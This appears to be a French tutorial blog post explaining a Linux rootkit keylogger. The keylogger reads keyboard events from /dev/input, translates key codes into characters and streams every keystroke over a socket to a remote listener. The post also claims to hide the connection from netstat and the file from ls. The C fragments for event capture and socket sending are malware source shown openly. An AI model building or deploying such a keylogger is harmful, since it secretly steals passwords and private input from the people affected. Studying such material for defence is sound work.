{%hackmd @sophie8909/pink_theme %}
Ce mini rootkit implémente un keylogger envoyant en temps réel toutes les input user tout en cachant sa connexion de `netstat` et sap présence de `ls` 
# input_event
Ce keylogger se base sur la struct `input_event` de la lib `input.h`
```c
struct input_event {
struct timeval time;
__u16 type;
__u16 code;
__s32 value;
};
```
Ce qui nous intéresse particulièrement dans cette struct est la partie contenant la variable `code`.
Son type de donnée `__u16` fait référence à un unsigned int occupant 16 bits en mémoire.
Souvent lorsque l'on se trouve proche du hardware il est nécessaire de contrôler précisement la taille des ints.
```c
#define KEY_EQUAL 13
#define KEY_BACKSPACE 14
#define KEY_TAB 15
#define KEY_Q 16
#define KEY_W 17
#define KEY_E 18
#define KEY_R 19
#define KEY_T 20
#define KEY_Y 21
#define KEY_U 22
#define KEY_I 23
#define KEY_O 24
#define KEY_P 25
```
Voici une partie du contenu de la var `code`. Nous y retrouvons tous les `event code`, ils correspondent aux événements systèmes tels que les mouvement de la souris, les événements de clavier, etc..
Le `/proc/bus/input/devices` contient des informations détaillées sur chaque périphérique d'entrée detecté par le système.
```
I: Bus=0011 Vendor=0001 Product=0001 Version=ab83
N: Name="AT Translated Set 2 keyboard"
P: Phys=isa0060/serio0/input0
S: Sysfs=/devices/platform/i8042/serio0/input/input3
U: Uniq=
H: Handlers=sysrq kbd leds event3
B: PROP=0
B: EV=120013
B: KEY=402000000 3803078f800d001 feffffdfffefffff fffffffffffffffe
B: MSC=10
B: LED=7
```
Voici un exemple de son contenu. Cette partie concerne mon clavier, on y voit la mention `keyboard` dans la partie `Name`.
Ce qui nous intéresse particulièrement est le path contenu dans `Sysfs` (File System in User Space)
`Sysfs` un système de fichiers virtuel fournissant une interface pour accéder aux informations et aux paramètres du noyau du système et aux périphériques matériels, en voici un schéma:
[](https://mermaid.live/edit#pako:eNqV001PwzAMBuC_EplrJ8bgVCQOG1RD1S4r0yQWDlbjbtHSpEpSjWnafyf9YAgudLfYeezT6xPkRhDEsLVY7djblGvGVhsOK0eWwwcbjRiH7OhyVIpDKJ9Ytmk7hQv_Dc86tCQUt2srPfUuaWAiFQXsqex10vNX7cli7ns8Xwc8RysOaOn34j8yDTAlq0n1LO3YAjVuiS3Jmdrm5C6LG-P8UVFYWEil4pskmY1n08h5a_Y0Okjhd_Gk-nz8kavBMhm-dL4eTNMBUkm9z1o9Zh0Y6u-u9JMr_f2V_uFfDxGUZEuUImT11Exz8DsqQ1Ti8BRUYK1CQrg-B4q1N9lR5xB7W1MEdSXQ07PEkPIS4gKVu3RfhPTGXprUlovuKNrbiKBC_W7M9-D5C7xZDCw)
Il représente le flux d'interaction entre l'utilisateur, `sysfs`, le kernel et le matériel hardware.
Lorsqu'une touche est enfoncée sur le clavier physique, des signaux au kernel sont envoyés.
Le kernel peut ensuite mettre à jour les fichiers correspondants dans `sysfs` pour refléter les touches enfoncées, de sorte que les utilisateurs ou les applications puissent lire ces informations à partir des fichiers appropriés dans `sysfs`.
Les évenements contenu dans `/dev/input/eventx` représentent des périphériques d'entrée auquels les programmes peuvent accéder pour lire les événements générés par les périphériques d'entrée.
Nous récupérons le numéro correspondant à notre périphérique en regardant dans `/proc/bus/input/devices` lequel est indexé dans le path `Sysfs` (dans mon exemple, l'input3).
Nous pouvons donc récupérer les événements en temps réel, et nous pouvons les "traduire" en utilisant la struct `input_event`. Nous possédons tout le nécessaire pour créer notre rootkit ;)
# if ()
Toutes les instructions suivantes se trouvent dans un while true car nous ne voulons pas qu'elles s'arrêtent: nous voulons capturer les inputs keyboard en temps réel et jusqu'à ce que nous décidions son arrêt.
#
```c
if (events.type == EV_KEY && events.value == 0)
```
Cette condition vérifie si la variable `type` contenu dans la struct `input_event` correspond à l'event `EV_KEY` (événement clavier) et si sa valeur est égale à zéro. (Lorsqu'une touche est relâchée, la valeur associée à l'événement est définie à 0)
```c
if (events.code >= 0 && events.code <= MAX_KEYCODE)
```
Cette condition vérifie que la variable `code` dans la struct `input_event` est supérieur à 0, et inférieur à `MAX_KEYCODE`, qui est 255 car dans la lib `input-event-codes.h`, nous remarquons qu'à un moment la range maximale pour les `codes` est de 255
```
#define KEY_BRIGHTNESS_ZERO 244 /* brightness off, use ambient */
#define KEY_DISPLAY_OFF 245 /* display device to off state */
#define KEY_WIMAX 246
/* Range 248 - 255 is reserved for special needs of AT keyboard driver */
```
# send(), sockfd() & to_send
```c
char* to_send = malloc(MALLOC_MAX_SIZE);
to_send[0] = character;
to_send[1] = '\0';
if (events.code == 28)
{
send(sockfd, "\n", strlen("\n"), 0);
}
else if (events.code == 57)
{
send(sockfd, " ", strlen(" "),0);
}
else
{
send(sockfd, to_send, MALLOC_MAX_SIZE, 0);
}
```
Les données récupérées sont envoyées via une connexion avec `sockfd()` en fonction de la valeur de `events.code` et du caractère correspondant récupéré dans `character` (`character = map[events.code];`, cf `map`).
Afin de permettre aux logs d'être lissible, les valeurs pour `28` et `57` sont ajoutées manuellement à cet endroit et non dans la `map`.
Si `events.code` correspond à un autre char que `\n` ou " ", `to_send` contenant `character` est envoyé via la fonction `send()`.
L'assignement de `\0` à `to_send[1`] garantit que `to_send` est une chaîne de caractères valide.
*Pour une explication complète sur l'envoi via socket, j'ai réalisé un post précedemment: https://github.com/pwnwithlove/C_revshell*
# free() & close()
```c
free(to_send);
to_send = NULL;
```
```c
close(sockfd);
close(file_descriptor)
```
On libère la mémoire allouée et on ferme les connexions et les file descriptor, c'est une bonne habitude à prendre lorsqu'on utilise ces fonctions.
# hooking
[](https://mermaid.live/edit#pako:eNqVkl9LwzAUxb9KuL62MPcYQeifFR8mE-eTRiQ26RqWJiFN0TH23b1t3eoQFV9C7u-ccxO4dw-lFRIobDx3NXlImSEkeWKQOKdVyYOyhsEziWPCIONat6ToTDlipNckRfPKq40yXE-aqbxtiFavJab7nhnalvnL3f1iuUryT5gjvLF2K8WXroOS_PJiNpx5b2vDTksEldKaXhRFNsvSiSdnnExC-kMg_8a1Mtv1oM3Q4_GrRzUay_hNiVDTuXu_Ovdf_tM__9MPETTSN1wJnNe-TzMItWwkA4pXISve6cCAmQNaeRfsemdKoMF3MoLOCR5krjhOugFacd2e6EKoYP0JyqG8HRdj2I8IHDeP1h6Dhw8JX7jP)
[](https://mermaid.live/edit#pako:eNqVkU1LxDAQhv9KiNcW1z1GELZdF0S8uIJg62FspjZsvkimaln2v5t-uOBJzCnP-74zAzNH3jiJXPD3AL5jT0VtWXqbauO9Vg2QcvZ11ooqDrGNC5XVPQaLesFtwuHNQZBJWHqwPGePl89MAgH7UJD4hi0DitEsnTG9HadgnMxy6T2ad5YwQEOzsx0drexhT4NGtmKRgjuguNjtylVZZDPmn0pSJ9b-6_p3_uqf-fWfeZ5xg8GAkml5x7G65tShwZqL9JXYQq-p5rU9pSj05PaDbbig0GPGe5-WglsFae2GixZ0PKu3UpELZxEnfJivNB0r4x7si3M_hadvF-OS2A)
# Sources
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/input-event-codes.h
https://sites.uclouvain.be/SystInfo/usr/include/linux/input.h.html